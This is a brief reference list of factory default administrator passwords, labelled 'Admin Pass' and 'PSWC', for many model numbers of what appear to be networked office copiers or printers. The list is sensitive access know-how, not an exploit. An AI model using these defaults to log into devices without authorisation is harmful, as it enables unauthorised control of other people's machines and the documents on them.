Model: c250/c252/c352/c450/c203/c253/c353/c451/c650/c220/c280/c360
Admin Pass: 12345678
PSWC: 12345678
Model: c452/c552/c652/c652DS/420/500/361/421/501/223/283/363/423/552/652
Admin Pass: (none)
PSWC: (none)
Model: c224/c224e/c284/c284e/c364/c364e/c454/c454e/c554
Admin Pass: 1234567812345678
PSWC: 1234567812345678
Model: c554e/c654/c654e/c754/c754e/654/754/224e/284e/364e/454e/554e/
227/287/367/308/308e/368/368e/458/458e/558/558e/658e/758/808/958/
C227/C287/C258/C308/C368/C458/C558/C659/C759
Admin Pass: (none)
PSWC: (none)
Model: 4050i/4750i/300i/360i/450i/550i/650i/750i/850i/950i/C3300i/
C4000i/C3320i/C3350i/C4050i/C257i/C250i/C300i/C360i/C450i/C550i/
C650i/C750i
Admin Pass: 1234567812345678
PSWC: 1234567812345678